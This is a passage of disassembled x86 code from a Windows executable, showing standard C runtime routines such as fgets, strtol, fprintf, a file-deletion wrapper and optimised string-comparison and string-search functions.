var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_10], ecx
loc_41BCA5: ; CODE XREF: sub_41BC90+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41BCC9
push offset aStringNull ; "string != NULL"
push 0
push 3Bh
push offset aFgets_c ; "fgets.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41BCC9
int 3 ; Trap to Debugger
loc_41BCC9: ; CODE XREF: sub_41BC90+19j
; sub_41BC90+36j
xor edx, edx
test edx, edx
jnz short loc_41BCA5
loc_41BCCF: ; CODE XREF: sub_41BC90+67j
cmp [ebp+arg_8], 0
jnz short loc_41BCF3
push offset dword_437514
push 0
push 3Ch
push offset aFgets_c ; "fgets.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41BCF3
int 3 ; Trap to Debugger
loc_41BCF3: ; CODE XREF: sub_41BC90+43j
; sub_41BC90+60j
xor eax, eax
test eax, eax
jnz short loc_41BCCF
cmp [ebp+arg_4], 0
jg short loc_41BD06
xor eax, eax
jmp loc_41BDC7
; ---------------------------------------------------------------------------
loc_41BD06: ; CODE XREF: sub_41BC90+6Dj
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
call sub_41ECE0
add esp, 4
loc_41BD18: ; CODE XREF: sub_41BC90:loc_41BDADj
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_4], 0
jz loc_41BDB2
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax+4], edx
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jl short loc_41BD63
mov edx, [ebp+var_4]
mov eax, [edx]
movsx ecx, byte ptr [eax]
and ecx, 0FFh
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
jmp short loc_41BD72
; ---------------------------------------------------------------------------
loc_41BD63: ; CODE XREF: sub_41BC90+B1j
mov edx, [ebp+var_4]
push edx
call sub_421F10
add esp, 4
mov [ebp+var_14], eax
loc_41BD72: ; CODE XREF: sub_41BC90+D1j
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_41BD91
mov ecx, [ebp+var_8]
cmp ecx, [ebp+arg_0]
jnz short loc_41BD8F
mov [ebp+var_10], 0
jmp short loc_41BDB8
; ---------------------------------------------------------------------------
loc_41BD8F: ; CODE XREF: sub_41BC90+F4j
jmp short loc_41BDB2
; ---------------------------------------------------------------------------
loc_41BD91: ; CODE XREF: sub_41BC90+ECj
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+var_C]
mov [edx], al
movsx ecx, byte ptr [ebp+var_C]
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
cmp ecx, 0Ah
jnz short loc_41BDAD
jmp short loc_41BDB2
; ---------------------------------------------------------------------------
loc_41BDAD: ; CODE XREF: sub_41BC90+119j
jmp loc_41BD18
; ---------------------------------------------------------------------------
loc_41BDB2: ; CODE XREF: sub_41BC90+95j
; sub_41BC90:loc_41BD8Fj ...
mov eax, [ebp+var_8]
mov byte ptr [eax], 0
loc_41BDB8: ; CODE XREF: sub_41BC90+FDj
mov ecx, [ebp+var_4]
push ecx
call sub_41ED50
add esp, 4
mov eax, [ebp+var_10]
loc_41BDC7: ; CODE XREF: sub_41BC90+71j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41BC90 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_41BDF0
add esp, 10h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BDF0 proc near ; CODE XREF: .nsp0:0041BDE1p
; sub_41C130+11p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov [ebp+var_C], 0
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41BE14: ; CODE XREF: sub_41BDF0+77j
cmp dword_4516A8, 1
jle short loc_41BE36
push 8
mov ecx, [ebp+var_8]
and ecx, 0FFh
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_18], eax
jmp short loc_41BE50
; ---------------------------------------------------------------------------
loc_41BE36: ; CODE XREF: sub_41BDF0+2Bj
mov edx, [ebp+var_8]
and edx, 0FFh
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8
mov [ebp+var_18], ecx
loc_41BE50: ; CODE XREF: sub_41BDF0+44j
cmp [ebp+var_18], 0
jz short loc_41BE69
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_41BE14
; ---------------------------------------------------------------------------
loc_41BE69: ; CODE XREF: sub_41BDF0+64j
movsx edx, byte ptr [ebp+var_8]
cmp edx, 2Dh
jnz short loc_41BE8D
mov eax, [ebp+arg_C]
or al, 2
mov [ebp+arg_C], eax
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_41BEA7
; ---------------------------------------------------------------------------
loc_41BE8D: ; CODE XREF: sub_41BDF0+80j
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 2Bh
jnz short loc_41BEA7
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41BEA7: ; CODE XREF: sub_41BDF0+9Bj
; sub_41BDF0+A4j
cmp [ebp+arg_8], 0
jl short loc_41BEB9
cmp [ebp+arg_8], 1
jz short loc_41BEB9
cmp [ebp+arg_8], 24h
jle short loc_41BECE
loc_41BEB9: ; CODE XREF: sub_41BDF0+BBj
; sub_41BDF0+C1j
cmp [ebp+arg_4], 0
jz short loc_41BEC7
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov [edx], eax
loc_41BEC7: ; CODE XREF: sub_41BDF0+CDj
xor eax, eax
jmp loc_41C11D
; ---------------------------------------------------------------------------
loc_41BECE: ; CODE XREF: sub_41BDF0+C7j
cmp [ebp+arg_8], 0
jnz short loc_41BF0C
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 30h
jz short loc_41BEE6
mov [ebp+arg_8], 0Ah
jmp short loc_41BF0C
; ---------------------------------------------------------------------------
loc_41BEE6: ; CODE XREF: sub_41BDF0+EBj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 78h
jz short loc_41BEFC
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 58h
jnz short loc_41BF05
loc_41BEFC: ; CODE XREF: sub_41BDF0+FFj
mov [ebp+arg_8], 10h
jmp short loc_41BF0C
; ---------------------------------------------------------------------------
loc_41BF05: ; CODE XREF: sub_41BDF0+10Aj
mov [ebp+arg_8], 8
loc_41BF0C: ; CODE XREF: sub_41BDF0+E2j
; sub_41BDF0+F4j ...
cmp [ebp+arg_8], 10h
jnz short loc_41BF4B
movsx eax, byte ptr [ebp+var_8]
cmp eax, 30h
jnz short loc_41BF4B
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 78h
jz short loc_41BF31
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 58h
jnz short loc_41BF4B
loc_41BF31: ; CODE XREF: sub_41BDF0+134j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41BF4B: ; CODE XREF: sub_41BDF0+120j
; sub_41BDF0+129j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_10], eax
loc_41BF56: ; CODE XREF: sub_41BDF0+26Bj
cmp dword_4516A8, 1
jle short loc_41BF77
push 4
mov eax, [ebp+var_8]
and eax, 0FFh
push eax
call sub_421E50
add esp, 8
mov [ebp+var_1C], eax
jmp short loc_41BF92
; ---------------------------------------------------------------------------
loc_41BF77: ; CODE XREF: sub_41BDF0+16Dj
mov ecx, [ebp+var_8]
and ecx, 0FFh
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_1C], eax
loc_41BF92: ; CODE XREF: sub_41BDF0+185j
cmp [ebp+var_1C], 0
jz short loc_41BFA4
movsx ecx, byte ptr [ebp+var_8]
sub ecx, 30h
mov [ebp+var_14], ecx
jmp short loc_41C003
; ---------------------------------------------------------------------------
loc_41BFA4: ; CODE XREF: sub_41BDF0+1A6j
cmp dword_4516A8, 1
jle short loc_41BFC9
push 103h
mov edx, [ebp+var_8]
and edx, 0FFh
push edx
call sub_421E50
add esp, 8
mov [ebp+var_20], eax
jmp short loc_41BFE6
; ---------------------------------------------------------------------------
loc_41BFC9: ; CODE XREF: sub_41BDF0+1BBj
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 103h
mov [ebp+var_20], edx
loc_41BFE6: ; CODE XREF: sub_41BDF0+1D7j
cmp [ebp+var_20], 0
jz short loc_41C001
movsx eax, byte ptr [ebp+var_8]
push eax
call sub_4248D0
add esp, 4
sub eax, 37h
mov [ebp+var_14], eax
jmp short loc_41C003
; ---------------------------------------------------------------------------
loc_41C001: ; CODE XREF: sub_41BDF0+1FAj
jmp short loc_41C060
; ---------------------------------------------------------------------------
loc_41C003: ; CODE XREF: sub_41BDF0+1B2j
; sub_41BDF0+20Fj
mov ecx, [ebp+var_14]
cmp ecx, [ebp+arg_8]
jb short loc_41C00D
jmp short loc_41C060
; ---------------------------------------------------------------------------
loc_41C00D: ; CODE XREF: sub_41BDF0+219j
mov edx, [ebp+arg_C]
or edx, 8
mov [ebp+arg_C], edx
mov eax, [ebp+var_C]
cmp eax, [ebp+var_10]
jb short loc_41C033
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_10]
jnz short loc_41C042
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp [ebp+var_14], edx
ja short loc_41C042
loc_41C033: ; CODE XREF: sub_41BDF0+22Cj
mov edx, [ebp+var_C]
imul edx, [ebp+arg_8]
add edx, [ebp+var_14]
mov [ebp+var_C], edx
jmp short loc_41C04A
; ---------------------------------------------------------------------------
loc_41C042: ; CODE XREF: sub_41BDF0+234j
; sub_41BDF0+241j
mov eax, [ebp+arg_C]
or al, 4
mov [ebp+arg_C], eax
loc_41C04A: ; CODE XREF: sub_41BDF0+250j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_41BF56
; ---------------------------------------------------------------------------
loc_41C060: ; CODE XREF: sub_41BDF0:loc_41C001j
; sub_41BDF0+21Bj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
and edx, 8
test edx, edx
jnz short loc_41C088
cmp [ebp+arg_4], 0
jz short loc_41C07F
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C07F: ; CODE XREF: sub_41BDF0+287j
mov [ebp+var_C], 0
jmp short loc_41C0FA
; ---------------------------------------------------------------------------
loc_41C088: ; CODE XREF: sub_41BDF0+281j
mov ecx, [ebp+arg_C]
and ecx, 4
test ecx, ecx
jnz short loc_41C0C2
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jnz short loc_41C0FA
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41C0AF
cmp [ebp+var_C], 80000000h
ja short loc_41C0C2
loc_41C0AF: ; CODE XREF: sub_41BDF0+2B4j
mov ecx, [ebp+arg_C]
and ecx, 2
test ecx, ecx
jnz short loc_41C0FA
cmp [ebp+var_C], 7FFFFFFFh
jbe short loc_41C0FA
loc_41C0C2: ; CODE XREF: sub_41BDF0+2A0j
; sub_41BDF0+2BDj
call sub_4248A0
mov dword ptr [eax], 22h
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jz short loc_41C0E0
mov [ebp+var_C], 0FFFFFFFFh
jmp short loc_41C0FA
; ---------------------------------------------------------------------------
loc_41C0E0: ; CODE XREF: sub_41BDF0+2E5j
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41C0F3
mov [ebp+var_C], 80000000h
jmp short loc_41C0FA
; ---------------------------------------------------------------------------
loc_41C0F3: ; CODE XREF: sub_41BDF0+2F8j
mov [ebp+var_C], 7FFFFFFFh
loc_41C0FA: ; CODE XREF: sub_41BDF0+296j
; sub_41BDF0+2AAj ...
cmp [ebp+arg_4], 0
jz short loc_41C108
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
loc_41C108: ; CODE XREF: sub_41BDF0+30Ej
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41C11A
mov ecx, [ebp+var_C]
neg ecx
mov [ebp+var_C], ecx
loc_41C11A: ; CODE XREF: sub_41BDF0+320j
mov eax, [ebp+var_C]
loc_41C11D: ; CODE XREF: sub_41BDF0+D9j
mov esp, ebp
pop ebp
retn
sub_41BDF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C130 proc near ; CODE XREF: sub_401CC1+5988p
; sub_401CC1+60ACp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41BDF0
add esp, 10h
pop ebp
retn
sub_41C130 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C150 proc near ; CODE XREF: sub_401CC1+514Ep
; .nsp0:0041C1A7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call dword_4F133C ; DeleteFileA
test eax, eax
jnz short loc_41C16D
call dword_4F1348 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_41C174
; ---------------------------------------------------------------------------
loc_41C16D: ; CODE XREF: sub_41C150+10j
mov [ebp+var_4], 0
loc_41C174: ; CODE XREF: sub_41C150+1Bj
cmp [ebp+var_4], 0
jz short loc_41C18B
mov ecx, [ebp+var_4]
push ecx
call sub_424800
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41C18D
; ---------------------------------------------------------------------------
loc_41C18B: ; CODE XREF: sub_41C150+28j
xor eax, eax
loc_41C18D: ; CODE XREF: sub_41C150+39j
mov esp, ebp
pop ebp
retn
sub_41C150 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call sub_41C150
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C1C0 proc near ; CODE XREF: sub_401CC1+50A5p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+arg_8]
mov [ebp+var_10], eax
loc_41C1CF: ; CODE XREF: sub_41C1C0+37j
cmp [ebp+arg_0], 0
jnz short loc_41C1F3
push offset dword_437514
push 0
push 38h
push offset aFprintf_c ; "fprintf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41C1F3
int 3 ; Trap to Debugger
loc_41C1F3: ; CODE XREF: sub_41C1C0+13j
; sub_41C1C0+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_41C1CF
loc_41C1F9: ; CODE XREF: sub_41C1C0+61j
cmp [ebp+arg_4], 0
jnz short loc_41C21D
push offset aFormatNull ; "format != NULL"
push 0
push 39h
push offset aFprintf_c ; "fprintf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41C21D
int 3 ; Trap to Debugger
loc_41C21D: ; CODE XREF: sub_41C1C0+3Dj
; sub_41C1C0+5Aj
xor edx, edx
test edx, edx
jnz short loc_41C1F9
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_41ECE0
add esp, 4
mov edx, [ebp+var_4]
push edx
call sub_424AA0
add esp, 4
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_422D70
add esp, 0Ch
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_424C00
add esp, 8
mov edx, [ebp+var_4]
push edx
call sub_41ED50
add esp, 4
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41C1C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C290 proc near ; CODE XREF: sub_401CC1+19B4p
; sub_401CC1+19D3p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C2B1
xor eax, eax
jmp short loc_41C2B3
; ---------------------------------------------------------------------------
loc_41C2B1: ; CODE XREF: sub_41C290+1Bj
mov eax, edi
loc_41C2B3: ; CODE XREF: sub_41C290+1Fj
cld
pop edi
leave
retn
sub_41C290 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C2C0 proc near ; CODE XREF: sub_401CC1+7D4p
; .nsp0:00428A26p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C2F1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C2EF
jz short loc_41C2F1
dec ecx
dec ecx
loc_41C2EF: ; CODE XREF: sub_41C2C0+29j
not ecx
loc_41C2F1: ; CODE XREF: sub_41C2C0+9j
; sub_41C2C0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C2C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C300 proc near ; CODE XREF: sub_401CC1+423p
; sub_401CC1+2A6Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C371
sub_41C300 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C310 proc near ; CODE XREF: sub_401CC1+42Cp
; sub_401CC1+6A40p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C32C
loc_41C31D: ; CODE XREF: sub_41C310+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C35F
test ecx, 3
jnz short loc_41C31D
loc_41C32C: ; CODE XREF: sub_41C310+Bj
; sub_41C310+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C32C
mov eax, [ecx-4]
test al, al
jz short loc_41C36E
test ah, ah
jz short loc_41C369
test eax, 0FF0000h
jz short loc_41C364
test eax, 0FF000000h
jz short loc_41C35F
jmp short loc_41C32C
; ---------------------------------------------------------------------------
loc_41C35F: ; CODE XREF: sub_41C310+12j
; sub_41C310+4Bj
lea edi, [ecx-1]
jmp short loc_41C371
; ---------------------------------------------------------------------------
loc_41C364: ; CODE XREF: sub_41C310+44j
lea edi, [ecx-2]
jmp short loc_41C371
; ---------------------------------------------------------------------------
loc_41C369: ; CODE XREF: sub_41C310+3Dj
lea edi, [ecx-3]
jmp short loc_41C371
; ---------------------------------------------------------------------------
loc_41C36E: ; CODE XREF: sub_41C310+39j
lea edi, [ecx-4]
loc_41C371: ; CODE XREF: sub_41C300+5j
; sub_41C310+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C396
loc_41C37D: ; CODE XREF: sub_41C310+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C3E8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C37D
jmp short loc_41C396
; ---------------------------------------------------------------------------
loc_41C391: ; CODE XREF: sub_41C310+9Ej
; sub_41C310+B8j
mov [edi], edx
add edi, 4
loc_41C396: ; CODE XREF: sub_41C310+6Bj
; sub_41C310+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C391
test dl, dl
jz short loc_41C3E8
test dh, dh
jz short loc_41C3DF
test edx, 0FF0000h
jz short loc_41C3D2
test edx, 0FF000000h
jz short loc_41C3CA
jmp short loc_41C391
; ---------------------------------------------------------------------------
loc_41C3CA: ; CODE XREF: sub_41C310+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C3D2: ; CODE XREF: sub_41C310+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C3DF: ; CODE XREF: sub_41C310+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C3E8: ; CODE XREF: sub_41C310+72j
; sub_41C310+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C310 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C400
loc_41C3F0: ; CODE XREF: sub_41C400+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C400
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C400 proc near ; CODE XREF: sub_401CC1+408p
; sub_401CC1+4B7p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C3F0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C406: ; CODE XREF: sub_41B890+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C42B
loc_41C418: ; CODE XREF: sub_41C400+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C3F0
test cl, cl
jz short loc_41C474
test edx, 3
jnz short loc_41C418
loc_41C42B: ; CODE XREF: sub_41C400+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C436: ; CODE XREF: sub_41C400+61j
; sub_41C400+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C478
and eax, 81010100h
jz short loc_41C436
and eax, 1010100h
jnz short loc_41C472
and esi, 80000000h
jnz short loc_41C436
loc_41C472: ; CODE XREF: sub_41C400+68j
; sub_41C400+81j ...
pop esi
pop edi
loc_41C474: ; CODE XREF: sub_41C400+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C478: ; CODE XREF: sub_41C400+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C4B5
test al, al
jz short loc_41C472
cmp ah, bl
jz short loc_41C4AE
test ah, ah
jz short loc_41C472
shr eax, 10h
cmp al, bl
jz short loc_41C4A7
test al, al
jz short loc_41C472
cmp ah, bl
jz short loc_41C4A0
test ah, ah
jz short loc_41C472
jmp short loc_41C436
; ---------------------------------------------------------------------------
loc_41C4A0: ; CODE XREF: sub_41C400+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C4A7: ; CODE XREF: sub_41C400+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C4AE: ; CODE XREF: sub_41C400+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C4B5: ; CODE XREF: sub_41C400+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C400 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C4C0 proc near ; CODE XREF: sub_401CC1+1A5p
; sub_401CC1+1FCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C50C
loc_41C4D0: ; CODE XREF: sub_41C4C0+3Cj
; sub_41C4C0+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C504
or al, al
jz short loc_41C500
cmp ah, [ecx+1]
jnz short loc_41C504
or ah, ah
jz short loc_41C500
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C504
or al, al
jz short loc_41C500
cmp ah, [ecx+3]
jnz short loc_41C504
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C4D0
mov edi, edi
loc_41C500: ; CODE XREF: sub_41C4C0+18j
; sub_41C4C0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C504: ; CODE XREF: sub_41C4C0+14j
; sub_41C4C0+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C50C: ; CODE XREF: sub_41C4C0+Ej
test edx, 1
jz short loc_41C528
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C504
inc ecx
or al, al
jz short loc_41C500
test edx, 2
jz short loc_41C4D0
loc_41C528: ; CODE XREF: sub_41C4C0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C504
or al, al
jz short loc_41C500
cmp ah, [ecx+1]
jnz short loc_41C504
or ah, ah
jz short loc_41C500
add ecx, 2
jmp short loc_41C4D0
sub_41C4C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C550 proc near ; CODE XREF: sub_401CC1+B4p
; sub_401CC1+D1p ...
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_4]
mov [ebp+var_30], eax
call sub_423CF0
mov [ebp+var_8], eax
mov [ebp+var_C], 0
jmp short loc_41C576
; ---------------------------------------------------------------------------
loc_41C56D: ; CODE XREF: sub_41C550+34j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_41C576: ; CODE XREF: sub_41C550+1Bj
cmp [ebp+var_C], 20h
jge short loc_41C586
mov edx, [ebp+var_C]
mov [ebp+edx+var_2C], 0
jmp short loc_41C56D
; ---------------------------------------------------------------------------
loc_41C586: ; CODE XREF: sub_41C550+2Aj
; sub_41C550+79j
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
sar edx, 3
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_2C]
or cl, al
mov edx, [ebp+var_30]
xor eax, eax
mov al, [edx]
sar eax, 3
mov [ebp+eax+var_2C], cl
mov ecx, [ebp+var_30]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_30]
add eax, 1
mov [ebp+var_30], eax
test edx, edx
jnz short loc_41C586
cmp [ebp+arg_0], 0
jz short loc_41C5D9
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
jmp short loc_41C5E2
